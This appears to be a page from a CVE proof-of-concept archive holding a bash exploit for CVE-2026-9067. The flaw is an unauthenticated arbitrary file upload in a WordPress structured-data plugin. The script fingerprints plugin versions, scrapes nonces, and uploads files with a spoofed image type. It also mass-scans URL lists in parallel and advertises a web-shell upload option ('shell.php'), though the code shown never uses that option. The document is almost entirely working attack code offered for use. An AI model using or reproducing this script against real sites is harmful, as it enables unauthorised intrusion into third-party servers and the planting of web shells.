5585 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-9067.sh SH
#!/bin/bash
# CVE-2026-9067 Bash/Shell Exploit
# Schema & Structured Data for WP & AMP < 1.60
# Unauthenticated Arbitrary Media Upload
#
# Usage:
#   chmod +x CVE-2026-9067.sh
#   ./CVE-2026-9067.sh -u https://target.com
#   ./CVE-2026-9067.sh -f urls.txt -t 10 -o vulns.txt
#   ./CVE-2026-9067.sh -u https://target.com -s shell.php

# Colors
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
NC='\033[0m' # No Color

# Default values
THREADS=5
OUTPUT="vulns.txt"
CUSTOM_SHELL=""
SINGLE_URL=""
URL_FILE=""

# Function to print usage
usage() {
    echo -e "${CYAN}CVE-2026-9067 - Unauthenticated Arbitrary Media Upload${NC}"
    echo ""
    echo "Usage: $0 [OPTIONS]"
    echo ""
    echo "Options:"
    echo "  -u, --url URL         Single URL to scan"
    echo "  -f, --file FILE       File containing URLs (one per line)"
    echo "  -t, --threads NUM     Number of threads (default: 5)"
    echo "  -o, --output FILE     Output file (default: vulns.txt)"
    echo "  -s, --shell FILE      Custom shell file to upload"
    echo "  -h, --help            Show this help message"
    echo ""
    echo "Examples:"
    echo "  $0 -u https://target.com"
    echo "  $0 -f urls.txt -t 10 -o results.txt"
    echo "  $0 -u https://target.com -s shell.php"
    exit 0
}

# Parse arguments
while [[ $# -gt 0 ]]; do
    case $1 in
        -u|--url)
            SINGLE_URL="$2"
            shift 2
            ;;
        -f|--file)
            URL_FILE="$2"
            shift 2
            ;;
        -t|--threads)
            THREADS="$2"
            shift 2
            ;;
        -o|--output)
            OUTPUT="$2"
            shift 2
            ;;
        -s|--shell)
            CUSTOM_SHELL="$2"
            shift 2
            ;;
        -h|--help)
            usage
            ;;
        *)
            echo -e "${RED}Unknown option: $1${NC}"
            exit 1
            ;;
    esac
done

# Banner
echo -e "${RED}╔══════════════════════════════════════════════════════════════════╗${NC}"
echo -e "${RED}║${NC}                                                                  ${RED}║${NC}"
echo -e "${RED}║${NC}   ${GREEN}CVE-2026-9067 - Schema & Structured Data for WP & AMP${RED}      ║${NC}"
echo -e "${RED}║${NC}   ${YELLOW}Unauthenticated Arbitrary Media Upload (< 1.60)${RED}            ║${NC}"
echo -e "${RED}║${NC}                                                                  ${RED}║${NC}"
echo -e "${RED}╚══════════════════════════════════════════════════════════════════╝${NC}"
echo ""

# Check dependencies
if ! command -v curl &> /dev/null; then
    echo -e "${RED}[ERROR] curl is required but not installed${NC}"
    exit 1
fi

# Function to check plugin version
check_plugin_version() {
    local url="$1"
    local version=$(curl -s -k "${url}/wp-content/plugins/schema-and-structured-data-for-wp/readme.txt" 2>/dev/null | grep -i "Stable tag:" | head -1 | awk '{print $3}')

    if [ -z "$version" ]; then
        echo "unknown"
    else
        echo "$version"
    fi
}

# Function to find nonce
find_nonce() {
    local url="$1"

    # Try multiple pages to find the nonce
    local pages=("/" "/?p=1" "/2026/06/10/hello-world/" "/?s=test")

    for page in "${pages[@]}"; do
        # Try to extract nonce from page source
        local nonce=$(curl -s -k "${url}${page}" 2>/dev/null | grep -oP 'saswp_rf_page_security_nonce["\x27]?\s*:\s*["\x27]([a-f0-9]{10})["\x27]' | grep -oP '[a-f0-9]{10}' | head -1)

        if [ -n "$nonce" ]; then
            echo "$nonce"
            return 0
        fi

        # Also try alternative patterns
        nonce=$(curl -s -k "${url}${page}" 2>/dev/null | grep -oP 'saswp_rf_form_action_nonce["\x27]?\s*:\s*["\x27]([a-f0-9]{10})["\x27]' | grep -oP '[a-f0-9]{10}' | head -1)

        if [ -n "$nonce" ]; then
            echo "$nonce"
            return 0
        fi
    done

    # Try REST API trigger
    local trigger_nonce=$(curl -s -k "${url}/?saswp_rf_trigger=1" 2>/dev/null | grep -oP '[a-f0-9]{10}' | head -1)

    if [ -n "$trigger_nonce" ]; then
        echo "$trigger_nonce"
        return 0
    fi

    return 1
}

# Function to test upload
test_upload() {
    local url="$1"
    local nonce="$2"
    local endpoint="$3"

    if [ "$endpoint" = "image" ]; then
        local action="saswp_rf_form_image_upload"
        local param="saswp-rf-form-image"
    else
        local action="saswp_rf_form_video_upload"
        local param="saswp-rf-form-video"
    fi

    # Create test file
    local test_file="/tmp/cve_${RANDOM}_${timestamp}.txt"
    echo "CVE-2026-9067 Test - $(date)" > "$test_file"

    # Upload file
    local response=$(curl -s -k -X POST "${url}/wp-admin/admin-ajax.php" \
        -F "action=${action}" \
        -F "saswp_rf_form_nonce=${nonce}" \
        -F "${param}=@${test_file};type=image/png;filename=exploit.txt" 2>/dev/null)

    # Clean up
    rm -f "$test_file"

    # Check response
    if echo "$response" | grep -q '"success":true'; then
        echo "VULNERABLE"
        return 0
    else
        echo "SAFE"
        return 1
    fi
}

# Function to scan single URL
scan_url() {
    local url="$1"

    echo -e "${BLUE}[*] Scanning: $url${NC}"

    # Check if site is reachable
    if ! curl -s -k -o /dev/null -w "%{http_code}" "$url" 2>/dev/null | grep -qE '200|301|302|303|307|308'; then
        echo -e "${RED}[-] Site not reachable${NC}"
        return 1
    fi

    # Check plugin version
    local version=$(check_plugin_version "$url")
    echo -e "${BLUE}    Plugin version: $version${NC}"

    if [ "$version" = "unknown" ]; then
        echo -e "${YELLOW}    Plugin not detected${NC}"
        return 1
    fi

    # Find nonce
    echo -e "${BLUE}    Searching for nonce...${NC}"
    local nonce=$(find_nonce "$url")

    if [ -z "$nonce" ]; then
        echo -e "${YELLOW}    Nonce not found - review form may not be active${NC}"
        echo -e "${YELLOW}    Plugin v$version detected but not exploitable in current state${NC}"
        return 1
    fi

    echo -e "${GREEN}    Found nonce: ${nonce}${NC}"

    # Test image endpoint
    echo -e "${BLUE}    Testing image endpoint...${NC}"
    if test_upload "$url" "$nonce" "image"; then
        echo -e "${RED}[!] VULNERABLE via image endpoint!${NC}"
        echo "$url|VULNERABLE|image|$nonce" >> "$OUTPUT"
        return 0
    fi

    # Test video endpoint
    echo -e "${BLUE}    Testing video endpoint...${NC}"
    if test_upload "$url" "$nonce" "video"; then
        echo -e "${RED}[!] VULNERABLE via video endpoint!${NC}"
        echo "$url|VULNERABLE|video|$nonce" >> "$OUTPUT"
        return 0
    fi

    echo -e "${GREEN}    Not vulnerable (upload failed)${NC}"
    echo "$url|SAFE|unknown|$nonce" >> "$OUTPUT"
    return 1
}

# Main execution
timestamp=$(date +%s)

# Initialize output file
echo "CVE-2026-9067 Scan Results - $(date)" > "$OUTPUT"
echo "========================================" >> "$OUTPUT"
echo "" >> "$OUTPUT"

if [ -n "$SINGLE_URL" ]; then
    # Single URL mode
    scan_url "$SINGLE_URL"
elif [ -n "$URL_FILE" ]; then
    # Multiple URLs mode
    if [ ! -f "$URL_FILE" ]; then
        echo -e "${RED}[ERROR] URL file not found: $URL_FILE${NC}"
        exit 1
    fi

    # Count URLs
    total_urls=$(wc -l < "$URL_FILE")
    echo -e "${BLUE}[*] Loaded $total_urls URLs from $URL_FILE${NC}"
    echo -e "${BLUE}[*] Using $THREADS threads${NC}"

    # Create temp files for parallel processing
    temp_dir="/tmp/cve_exploit_$$"
    mkdir -p "$temp_dir"

    # Split URLs into chunks for parallel processing
    split -l $(( (total_urls + THREADS - 1) / THREADS )) "$URL_FILE" "$temp_dir/chunk_"

    vulnerable_count=0

    # Process chunks in parallel
    for chunk in "$temp_dir"/chunk_*; do
        (
            while read -r url; do
                scan_url "$url"
            done < "$chunk"
        ) &
    done

    # Wait for all jobs
    wait

    # Count vulnerabilities
    if [ -f "$OUTPUT" ]; then
        vulnerable_count=$(grep -c "VULNERABLE" "$OUTPUT" 2>/dev/null || echo 0)
    fi

    # Cleanup
    rm -rf "$temp_dir"

    echo ""
    echo -e "${BLUE}[*] Scan complete! $vulnerable_count/$total_urls targets are vulnerable${NC}"
else
    echo -e "${RED}[ERROR] Please provide -u (URL) or -f (file)${NC}"
    usage
fi

echo -e "${BLUE}[*] Results saved to: $OUTPUT${NC}"